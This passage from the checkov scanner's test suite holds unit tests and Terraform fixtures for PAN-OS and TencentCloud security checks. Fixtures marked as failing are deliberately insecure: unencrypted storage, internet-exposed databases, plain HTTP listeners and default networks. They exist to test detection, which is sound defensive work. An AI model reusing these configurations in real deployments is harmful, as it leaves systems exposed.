'panos_panorama_ipsec_crypto_profile.fail4',\n            'panos_panorama_ipsec_crypto_profile.fail5',\n            'panos_panorama_ipsec_crypto_profile.fail6',\n            'panos_ipsec_crypto_profile.fail7',\n            'panos_ipsec_crypto_profile.fail8',\n            'panos_panorama_ipsec_crypto_profile.fail9',\n            'panos_panorama_ipsec_crypto_profile.fail10',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 8)\n        self.assertEqual(summary['failed'], 10)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/panos/test_NetworkIPsecProtocols.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.panos.NetworkIPsecProtocols import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNetworkIPsecProtocols(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_NetworkIPsecProtocols\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'panos_ipsec_crypto_profile.pass1',\n            'panos_panorama_ipsec_crypto_profile.pass2',\n            'panos_ipsec_crypto_profile.pass3',\n            'panos_panorama_ipsec_crypto_profile.pass4',\n        }\n        failing_resources = {\n            'panos_ipsec_crypto_profile.fail1',\n            'panos_panorama_ipsec_crypto_profile.fail2',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/panos/test_PolicyDescription.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.panos.PolicyDescription import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestPolicyDescription(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PolicyDescription\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'panos_security_policy.pass1',\n            'panos_security_rule_group.pass2',\n            'panos_security_policy.pass3',\n            'panos_security_rule_group.pass4',\n        }\n        failing_resources = {\n            'panos_security_policy.fail1',\n            'panos_security_rule_group.fail2',\n            'panos_security_policy.fail3',\n            'panos_security_rule_group.fail4',\n            'panos_security_policy.fail5',\n            'panos_security_rule_group.fail6',\n            'panos_security_policy.fail7',\n            'panos_security_rule_group.fail8',\n            'panos_security_policy.fail9',\n            'panos_security_rule_group.fail10',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 10)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/panos/test_PolicyLogForwarding.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.panos.PolicyLogForwarding import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestPolicyLogForwarding(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PolicyLogForwarding\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'panos_security_policy.pass1',\n            'panos_security_rule_group.pass2',\n            'panos_security_policy.pass3',\n            'panos_security_rule_group.pass4',\n        }\n        failing_resources = {\n            'panos_security_policy.fail1',\n            'panos_security_rule_group.fail2',\n            'panos_security_policy.fail3',\n            'panos_security_rule_group.fail4',\n            'panos_security_policy.fail5',\n            'panos_security_rule_group.fail6',\n            'panos_security_policy.fail7',\n            'panos_security_rule_group.fail8',\n            'panos_security_policy.fail9',\n            'panos_security_rule_group.fail10',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 10)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/panos/test_PolicyLoggingEnabled.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.panos.PolicyLoggingEnabled import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass PolicyLoggingEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PolicyLoggingEnabled\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'panos_security_policy.pass1',\n            'panos_security_rule_group.pass2',\n            'panos_security_policy.pass3',\n            'panos_security_rule_group.pass4',\n            'panos_security_policy.pass5',\n            'panos_security_rule_group.pass6',\n            'panos_security_policy.pass7',\n            'panos_security_rule_group.pass8',\n        }\n        failing_resources = {\n            'panos_security_policy.fail1',\n            'panos_security_rule_group.fail2',\n            'panos_security_policy.fail3',\n            'panos_security_rule_group.fail4',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 8)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/panos/test_PolicyNoApplicationAny.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.panos.PolicyNoApplicationAny import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass PolicyNoApplicationAny(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PolicyNoApplicationAny\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'panos_security_policy.pass1',\n            'panos_security_rule_group.pass2',\n            'panos_security_policy.pass3',\n            'panos_security_rule_group.pass4',\n            'panos_security_policy.pass5',\n            'panos_security_rule_group.pass6',\n        }\n        failing_resources = {\n            'panos_security_policy.fail1',\n            'panos_security_rule_group.fail2',\n            'panos_security_policy.fail3',\n            'panos_security_rule_group.fail4',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 6)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/panos/test_PolicyNoDSRI.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.panos.PolicyNoDSRI import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass PolicyNoDSRI(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PolicyNoDSRI\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'panos_security_policy.pass1',\n            'panos_security_rule_group.pass2',\n            'panos_security_policy.pass3',\n            'panos_security_rule_group.pass4',\n            'panos_security_policy.pass5',\n            'panos_security_rule_group.pass6',\n        }\n        failing_resources = {\n            'panos_security_policy.fail1',\n            'panos_security_rule_group.fail2',\n            'panos_security_policy.fail3',\n            'panos_security_rule_group.fail4',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 6)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/panos/test_PolicyNoServiceAny.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.panos.PolicyNoServiceAny import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass PolicyNoServiceAny(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PolicyNoServiceAny\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'panos_security_policy.pass1',\n            'panos_security_rule_group.pass2',\n            'panos_security_policy.pass3',\n            'panos_security_rule_group.pass4',\n            'panos_security_policy.pass5',\n            'panos_security_rule_group.pass6',\n        }\n        failing_resources = {\n            'panos_security_policy.fail1',\n            'panos_security_rule_group.fail2',\n            'panos_security_policy.fail3',\n            'panos_security_rule_group.fail4',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 6)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/panos/test_PolicyNoSrcAnyDstAny.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.panos.PolicyNoSrcAnyDstAny import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass PolicyNoSrcAnyDstAny(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PolicyNoSrcAnyDstAny\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'panos_security_policy.pass1',\n            'panos_security_rule_group.pass2',\n            'panos_security_policy.pass3',\n            'panos_security_rule_group.pass4',\n            'panos_security_policy.pass5',\n            'panos_security_rule_group.pass6',\n            'panos_security_policy.pass7',\n            'panos_security_rule_group.pass8',\n            'panos_security_policy.pass9',\n            'panos_security_rule_group.pass10',\n            'panos_security_policy.pass11',\n            'panos_security_rule_group.pass12',\n            'panos_security_policy.pass13',\n            'panos_security_rule_group.pass14',\n        }\n        failing_resources = {\n            'panos_security_policy.fail1',\n            'panos_security_rule_group.fail2',\n            'panos_security_policy.fail3',\n            'panos_security_rule_group.fail4',\n            'panos_security_policy.fail5',\n            'panos_security_rule_group.fail6',\n            'panos_security_policy.fail7',\n            'panos_security_rule_group.fail8',\n            'panos_security_policy.fail9',\n            'panos_security_rule_group.fail10',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 14)\n        self.assertEqual(summary['failed'], 10)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/panos/test_ZoneProtectionProfile.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.panos.ZoneProtectionProfile import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestZoneProtectionProfile(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ZoneProtectionProfile\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'panos_zone.pass1',\n            'panos_panorama_zone.pass2',\n        }\n        failing_resources = {\n            'panos_zone.fail1',\n            'panos_panorama_zone.fail2',\n            'panos_zone.fail3',\n            'panos_panorama_zone.fail4',\n            'panos_zone.fail5',\n            'panos_panorama_zone.fail6',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 6)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/panos/test_ZoneUserIDIncludeACL.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.panos.ZoneUserIDIncludeACL import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestZoneUserIDIncludeACL(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ZoneUserIDIncludeACL\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'panos_zone.pass1',\n            'panos_panorama_zone.pass2',\n            'panos_zone.pass3',\n            'panos_panorama_zone.pass4',\n            'panos_zone.pass5',\n            'panos_panorama_zone.pass6',\n        }\n        failing_resources = {\n            'panos_zone.fail1',\n            'panos_panorama_zone.fail2',\n            'panos_zone.fail3',\n            'panos_panorama_zone.fail4',\n            'panos_zone.fail5',\n            'panos_panorama_zone.fail6',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 6)\n        self.assertEqual(summary['failed'], 6)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/registry/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/resource/registry/example_external_dir/extra_checks/S3PCIPrivateACL.py",
    "content": "from lark import Token\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass S3PCIPrivateACL(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure PCI Scope buckets has private ACL (enable public ACL for non-pci buckets)\"\n        id = \"CKV_AWS_999\"\n        supported_resources = ['aws_s3_bucket']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for ACL configuration at aws_s3_bucket and Tag values:\n            https://www.terraform.io/docs/providers/aws/r/s3_bucket.html\n        :param conf: aws_s3_bucket configuration\n        :return: <CheckResult>\n        \"\"\"\n        if 'tags' in conf.keys():\n            environment_tag = Token(\"IDENTIFIER\", \"Scope\")\n            if environment_tag in conf['tags'][0].keys():\n                if conf['tags'][0][environment_tag] == \"PCI\":\n                    if 'acl' in conf.keys():\n                        acl_block = conf['acl']\n                        if acl_block in [[\"public-read\"], [\"public-read-write\"], [\"website\"]]:\n                            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\nscanner = S3PCIPrivateACL()\n"
  },
  {
    "path": "tests/terraform/checks/resource/registry/example_external_dir/extra_checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/resource/registry/test_registry.py",
    "content": "import os\nimport unittest\nfrom unittest.mock import patch\n\n\nclass TestRegistry(unittest.TestCase):\n\n    def setUp(self):\n        from checkov.terraform.checks.resource.registry import resource_registry\n        self.registry = resource_registry\n\n    @patch('os.path.exists')\n    def test_with_init(self, mock_path_exists):\n        mock_path_exists.return_value = True\n        self.assertTrue(self.registry._directory_has_init_py(\"/foo/bar\"))\n\n    @patch('os.path.exists')\n    def test_without_init(self, mock_path_exists):\n        mock_path_exists.return_value = False\n        self.assertFalse(self.registry._directory_has_init_py(\"/foo/bar\"))\n\n    def test_registry_external_check_load(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        external_dir = current_dir + \"/example_external_dir/extra_checks\"\n        self.registry.load_external_checks(external_dir)\n\n        external_check_loaded = False\n        external_check = None\n        for check in self.registry.checks['aws_s3_bucket']:\n            if check.__class__.__name__ == 'S3PCIPrivateACL':\n                external_check_loaded = True\n                external_check = check\n        self.assertTrue(external_check_loaded)\n        self.registry.checks['aws_s3_bucket'].remove(external_check)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/example_CBSEncryption/tencentcloud_cbs_storage.tf",
    "content": "# pass\nresource \"tencentcloud_cbs_storage\" \"enabled\" {\n  storage_type      = \"CLOUD_PREMIUM\"\n  storage_name      = \"tf-storage-basic\"\n  storage_size      = 50\n  availability_zone = \"ap-guangzhou-3\"\n  encrypt           = true\n}\n\n# failed\nresource \"tencentcloud_cbs_storage\" \"default\" {\n  storage_type      = \"CLOUD_PREMIUM\"\n  storage_name      = \"tf-storage-basic\"\n  storage_size      = 50\n  availability_zone = \"ap-guangzhou-3\"\n}\n\nresource \"tencentcloud_cbs_storage\" \"disabled\" {\n  storage_type      = \"CLOUD_PREMIUM\"\n  storage_name      = \"tf-storage-basic\"\n  storage_size      = 50\n  availability_zone = \"ap-guangzhou-3\"\n  encrypt           = false\n}"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/example_CDBInternetService/tencentcloud_mysql_instance.tf",
    "content": "# pass\nresource \"tencentcloud_mysql_instance\" \"positive\" {\n  internet_service  = 0\n  engine_version    = \"5.7\"\n  charge_type       = \"POSTPAID\"\n  slave_deploy_mode = 0\n  availability_zone = data.tencentcloud_availability_zones_by_product.zones.zones.0.name\n  slave_sync_mode   = 1\n  instance_name     = \"tf-example-mysql\"\n  mem_size          = 4000\n  volume_size       = 200\n  vpc_id            = tencentcloud_vpc.vpc.id\n  subnet_id         = tencentcloud_subnet.subnet.id\n  intranet_port     = 3307\n  security_groups   = [tencentcloud_security_group.security_group.id]\n\n  tags = {\n    name = \"test\"\n  }\n\n  parameters = {\n    character_set_server = \"utf8\"\n    max_connections      = \"1000\"\n  }\n}\n# failed\nresource \"tencentcloud_mysql_instance\" \"negative\" {\n  internet_service  = 1\n  engine_version    = \"5.7\"\n  charge_type       = \"POSTPAID\"\n  slave_deploy_mode = 0\n  availability_zone = data.tencentcloud_availability_zones_by_product.zones.zones.0.name\n  slave_sync_mode   = 1\n  instance_name     = \"tf-example-mysql\"\n  mem_size          = 4000\n  volume_size       = 200\n  vpc_id            = tencentcloud_vpc.vpc.id\n  subnet_id         = tencentcloud_subnet.subnet.id\n  intranet_port     = 3307\n  security_groups   = [tencentcloud_security_group.security_group.id]\n\n  tags = {\n    name = \"test\"\n  }\n\n  parameters = {\n    character_set_server = \"utf8\"\n    max_connections      = \"1000\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/example_CDBIntranetPort/tencentcloud_mysql_instance.tf",
    "content": "# pass\nresource \"tencentcloud_mysql_instance\" \"positive\" {\n  engine_version    = \"5.7\"\n  charge_type       = \"POSTPAID\"\n  slave_deploy_mode = 0\n  availability_zone = data.tencentcloud_availability_zones_by_product.zones.zones.0.name\n  slave_sync_mode   = 1\n  instance_name     = \"tf-example-mysql\"\n  mem_size          = 4000\n  volume_size       = 200\n  vpc_id            = tencentcloud_vpc.vpc.id\n  subnet_id         = tencentcloud_subnet.subnet.id\n  intranet_port     = 3307\n  security_groups   = [tencentcloud_security_group.security_group.id]\n\n  tags = {\n    name = \"test\"\n  }\n\n  parameters = {\n    character_set_server = \"utf8\"\n    max_connections      = \"1000\"\n  }\n}\n# failed\nresource \"tencentcloud_mysql_instance\" \"negative\" {\n  engine_version    = \"5.7\"\n  charge_type       = \"POSTPAID\"\n  slave_deploy_mode = 0\n  availability_zone = data.tencentcloud_availability_zones_by_product.zones.zones.0.name\n  slave_sync_mode   = 1\n  instance_name     = \"tf-example-mysql\"\n  mem_size          = 4000\n  volume_size       = 200\n  vpc_id            = tencentcloud_vpc.vpc.id\n  subnet_id         = tencentcloud_subnet.subnet.id\n  intranet_port     = 3306\n  security_groups   = [tencentcloud_security_group.security_group.id]\n\n  tags = {\n    name = \"test\"\n  }\n\n  parameters = {\n    character_set_server = \"utf8\"\n    max_connections      = \"1000\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/example_CLBInstanceLog/tencentcloud_clb_instance.tf",
    "content": "# pass\nresource \"tencentcloud_clb_instance\" \"positive\" {\n  network_type                 = \"INTERNAL\"\n  clb_name                     = \"clb_example\"\n  project_id                   = 0\n  vpc_id                       = tencentcloud_vpc.vpc_test.id\n  subnet_id                    = tencentcloud_subnet.subnet_test.id\n  load_balancer_pass_to_target = true\n  log_set_id                   = tencentcloud_clb_log_set.set.id\n  log_topic_id                 = tencentcloud_clb_log_topic.topic.id\n\n  tags = {\n    test = \"tf\"\n  }\n}\n\n# failed\nresource \"tencentcloud_clb_instance\" \"negative\" {\n  network_type                 = \"INTERNAL\"\n  clb_name                     = \"clb_example\"\n  project_id                   = 0\n  vpc_id                       = tencentcloud_vpc.vpc_test.id\n  subnet_id                    = tencentcloud_subnet.subnet_test.id\n  load_balancer_pass_to_target = true\n\n  tags = {\n    test = \"tf\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/example_CLBListenerProtocol/tencentcloud_clb_listener.tf",
    "content": "# pass\nresource \"tencentcloud_clb_listener\" \"positive\" {\n  clb_id        = \"lb-0lh5au7v\"\n  listener_name = \"test_listener\"\n  protocol      = \"HTTPS\"\n  port          = 443\n}\n\n# failed\nresource \"tencentcloud_clb_listener\" \"negative1\" {\n  clb_id        = \"lb-0lh5au7v\"\n  listener_name = \"test_listener\"\n  protocol      = \"HTTP\"\n  port          = 80\n}\n\nresource \"tencentcloud_clb_listener\" \"negative2\" {\n  clb_id        = \"lb-0lh5au7v\"\n  listener_name = \"test_listener\"\n  protocol      = \"TCP\"\n  port          = 8080\n}\n\nresource \"tencentcloud_clb_listener\" \"negative3\" {\n  clb_id        = \"lb-0lh5au7v\"\n  listener_name = \"test_listener\"\n  protocol      = \"UDP\"\n  port          = 8090\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/example_CVMAllocatePublicIp/tencentcloud_instance.tf",
    "content": "# pass\nresource \"tencentcloud_instance\" \"default\" {\n  instance_name     = \"tf-cvm-basic\"\n  availability_zone = \"ap-guangzhou-3\"\n}\n\nresource \"tencentcloud_instance\" \"disabled\" {\n  instance_name      = \"tf-cvm-basic\"\n  availability_zone  = \"ap-guangzhou-3\"\n  allocate_public_ip = false\n}\n\n# failed\nresource \"tencentcloud_instance\" \"enabled\" {\n  instance_name      = \"tf-cvm-basic\"\n  availability_zone  = \"ap-guangzhou-3\"\n  allocate_public_ip = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/example_CVMDisableMonitorService/tencentcloud_instance.tf",
    "content": "# pass\nresource \"tencentcloud_instance\" \"default\" {\n  instance_name     = \"tf-cvm-basic\"\n  availability_zone = \"ap-guangzhou-3\"\n}\n\nresource \"tencentcloud_instance\" \"disabled\" {\n  instance_name           = \"tf-cvm-basic\"\n  availability_zone       = \"ap-guangzhou-3\"\n  disable_monitor_service = false\n}\n\n# failed\nresource \"tencentcloud_instance\" \"enabled\" {\n  instance_name           = \"tf-cvm-basic\"\n  availability_zone       = \"ap-guangzhou-3\"\n  disable_monitor_service = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/example_CVMUseDefaultSecurityGroup/tencentcloud_instance.tf",
    "content": "# pass\nresource \"tencentcloud_instance\" \"default\" {\n  instance_name     = \"tf-cvm-basic\"\n  availability_zone = \"ap-guangzhou-3\"\n}\n\nresource \"tencentcloud_instance\" \"orderly_security_groups_sg\" {\n  instance_name           = \"tf-cvm-basic\"\n  availability_zone       = \"ap-guangzhou-3\"\n  orderly_security_groups = [\"tencentcloud_security_group.sg.id\"]\n}\n\nresource \"tencentcloud_instance\" \"security_groups_sg\" {\n  instance_name     = \"tf-cvm-basic\"\n  availability_zone = \"ap-guangzhou-3\"\n  security_groups   = [\"tencentcloud_security_group.sg.id\"]\n}\n\n# failed\nresource \"tencentcloud_instance\" \"orderly_security_groups_default\" {\n  instance_name           = \"tf-cvm-basic\"\n  availability_zone       = \"ap-guangzhou-3\"\n  orderly_security_groups = [\"tencentcloud_security_group.default.id\"]\n}\n\nresource \"tencentcloud_instance\" \"security_groups_default\" {\n  instance_name     = \"tf-cvm-basic\"\n  availability_zone = \"ap-guangzhou-3\"\n  security_groups   = [\"tencentcloud_security_group.default.id\"]\n}"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/example_CVMUseDefaultVPC/tencentcloud_instance.tf",
    "content": "# pass\nresource \"tencentcloud_instance\" \"default\" {\n  instance_name     = \"tf-cvm-basic\"\n  availability_zone = \"ap-guangzhou-3\"\n\n}\n\nresource \"tencentcloud_instance\" \"positive\" {\n  instance_name     = \"tf-cvm-basic\"\n  availability_zone = \"ap-guangzhou-3\"\n  vpc_id            = tencentcloud_vpc.vpc.id\n  subnet_id         = tencentcloud_subnet.subnet.id\n}\n\n# failed\nresource \"tencentcloud_instance\" \"negative1\" {\n  instance_name     = \"tf-cvm-basic\"\n  availability_zone = \"ap-guangzhou-3\"\n  vpc_id            = tencentcloud_vpc.default.id\n  subnet_id         = tencentcloud_subnet.subnet.id\n}\n\nresource \"tencentcloud_instance\" \"negative2\" {\n  instance_name     = \"tf-cvm-basic\"\n  availability_zone = \"ap-guangzhou-3\"\n  vpc_id            = tencentcloud_vpc.vpc.id\n  subnet_id         = tencentcloud_subnet.default.id\n}\n\nresource \"tencentcloud_instance\" \"negative3\" {\n  instance_name     = \"tf-cvm-basic\"\n  availability_zone = \"ap-guangzhou-3\"\n  vpc_id            = tencentcloud_vpc.default.id\n  subnet_id         = tencentcloud_subnet.default.id\n}"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/example_CVMUserData/tencentcloud_instance.tf",
    "content": "# pass\nresource \"tencentcloud_instance\" \"positive1\" {\n  instance_name     = \"cvm_postpaid\"\n  availability_zone = data.tencentcloud_availability_zones.my_favorite_zones.zones.0.name\n  image_id          = data.tencentcloud_images.my_favorite_image.images.0.image_id\n  instance_type     = data.tencentcloud_instance_types.my_favorite_instance_types.instance_types.0.instance_type\n  system_disk_type  = \"CLOUD_PREMIUM\"\n  system_disk_size  = 50\n}\n\nresource \"tencentcloud_instance\" \"positive2\" {\n  instance_name     = \"cvm_postpaid\"\n  availability_zone = data.tencentcloud_availability_zones.my_favorite_zones.zones.0.name\n  image_id          = data.tencentcloud_images.my_favorite_image.images.0.image_id\n  instance_type     = data.tencentcloud_instance_types.my_favorite_instance_types.instance_types.0.instance_type\n  system_disk_type  = \"CLOUD_PREMIUM\"\n  system_disk_size  = 50\n\n  user_data = base64encode(\"this is test value\")\n}\n\nresource \"tencentcloud_instance\" \"positive3\" {\n  instance_name     = \"cvm_postpaid\"\n  availability_zone = data.tencentcloud_availability_zones.my_favorite_zones.zones.0.name\n  image_id          = data.tencentcloud_images.my_favorite_image.images.0.image_id\n  instance_type     = 